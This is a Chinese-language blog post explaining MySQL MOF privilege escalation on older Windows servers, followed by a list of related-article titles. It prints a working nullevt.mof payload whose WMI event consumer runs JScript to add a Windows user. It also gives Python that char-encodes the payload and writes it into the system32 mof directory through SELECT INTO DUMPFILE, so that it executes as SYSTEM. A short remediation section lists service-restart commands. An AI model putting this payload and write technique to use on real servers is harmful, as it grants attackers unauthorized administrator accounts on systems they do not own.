无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。

利用前提:操作系统为windows

操作系统版本不宜太高,2008测试不通过,2003可(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入c:/windows/system32/mof目录

数据库为mysql且知道mysql登录账号密码和允许外连(或存在sql注入或webshell中操作,未实践)

先简单介绍一下原理(摘自网上和个人实践后得出)

放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。

网上已公开nullevt.mof中的利用代码#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter

{

EventNamespace = “Root\\Cimv2”;

Name = “filtP2”;

Query = “Select * From __InstanceModificationEvent “

“Where TargetInstance Isa \”Win32_LocalTime\” “

“And TargetInstance.Second = 5”;

QueryLanguage = “WQL”;

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = “consPCSV2”;

ScriptingEngine = “JScript”;

ScriptText =

“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

常规利用过程步骤如下:上传该文件到服务器上任意位置,名字任意

通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'

即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行

个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示

使用mysql中char函数解决payload = r'''

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

'''

ascii_payload = ''

for each_chr in payload:

ascii_payload += str(ord(each_chr)) + ','

ascii_payload = ascii_payload[:-1]

cur = conn.cursor()

sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload

cur.execute(sql)

由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

如果服务器发现被使用mof提权,该如何解决循环创建用户?

打开cmd使用以下命令

net stop winmgmt

删除文件夹下内容 c:/windows/system32/wbem/repository

net start winmgmt

即可

错误之处,敬请指正

mysql mof_关于mysql mof提权研究相关推荐

  1. mysql mof提权原理_关于mysql mof提权研究

    无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间. 利用前提:操作系统为windows 操作系统版本不宜太高,2008测 ...

  2. mysql进行mof提权_MySQL数据库Root权限MOF方法提权研究

    MySQL数据库Root权限MOF方法提权研究 MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Wi ...

  3. mysql mof提权原理_[原创]WEB安全第六章提权篇12 mof提权

    WEB安全第六章提权篇12 mof提权 1.mof是什么 托管对象格式 (MOF) 文件是创建和注册提供程序.事件类别和事件的简便方法.在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译.编 ...

  4. 2021-06-03web渗透学习之mof提权(MySQL 漏洞利用与提权)(转自国大佬)

    自从接触安全以来就 MySQL 的 UDF 提权.MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友. ...

  5. 113.网络安全渗透测试—[权限提升篇11]—[Windows 2003 Mysql MOF提权]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 1.mof提权原理: 2.mof提权限制: 3.mof提权过程: (1)实验环境: (2)靶机链接: (3)实验 ...

  6. mysql mof提权原理_mof提权原理及实现

    关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的c ...

  7. mysql mof提权原理_mof提权原理及其过程

    mof提权的原理: mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就 ...

  8. mysql mof提权_MySQL_MOF提权

    一.原理 Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件: 将MOF文件执行为命令行参数及Mofcomp.exe文件 使用IMofCompiler接口和 ...

  9. mysql mof提权原理_Mof提权科普

    首先呢先谢谢米爷在我弄这个的时候把我骂开窍了- -. 不多说了~.~像名称一样哈~ 首先呢是朋友扔我一shell 他提权差就给咱了,简单的看了下,是php脚本的,一看php脚本就肯定带有,mysql. ...

最新文章

  1. 数据库MYSQL学习系列一
  2. 【Scratch】青少年蓝桥杯_每日一题_5.07_猜数字
  3. Spring bean - scope详解
  4. mysql 5.7.13安装_安装MySQL 5.7.13
  5. sqlserver 还原到时间点
  6. 洛谷 P2951 [USACO09OPEN]捉迷藏Hide and Seek
  7. [AGC026D]Histogram Coloring
  8. 小白学 Python 爬虫:自动化测试框架 Selenium 从入门到实战
  9. python数据结构实验目的_图的基本操作实现(数据结构实验)
  10. 凭什么程序员工资那么高?
  11. 设计模式——19.迭代器模式
  12. 在 Ubuntu 和 Linux Mint 上释放空间的9种简单方法
  13. linux查看网卡吞吐量和网卡流量用自带命令,iptraf查看。
  14. 44款最适合海报设计的英文字体
  15. CCF推荐的A类、B类、C类中文科技期刊
  16. 【Matlab读取图片提取RGB分量并将图片转化为二维三维数据作图】
  17. win10 appdata文件夹在哪 隐藏文件夹appdata的打开方法
  18. 软件设计模式Java版
  19. 初中数学抽象教学的案例_初中数学数形结合思想教学研究与案例分析
  20. java数组实现五子棋

热门文章

  1. 基础SQL面试题(3)
  2. shell中常用系统变量和条件判断
  3. 百度js库tangram开源
  4. 解决element-ui表头错位的问题
  5. SpringMVC注解@initbinder解决类型转换问题
  6. 解决Layui的switch样式显示问题
  7. 问题解决笔记,Restarting network (via systemctl):: Job for network.service failed. ...
  8. org.mybatis.spring.MyBatisSystemException异常及处理
  9. 使用PHP搞定支付宝、微信扫码支付
  10. 如何从Docker容器内部连接到计算机的本地主机?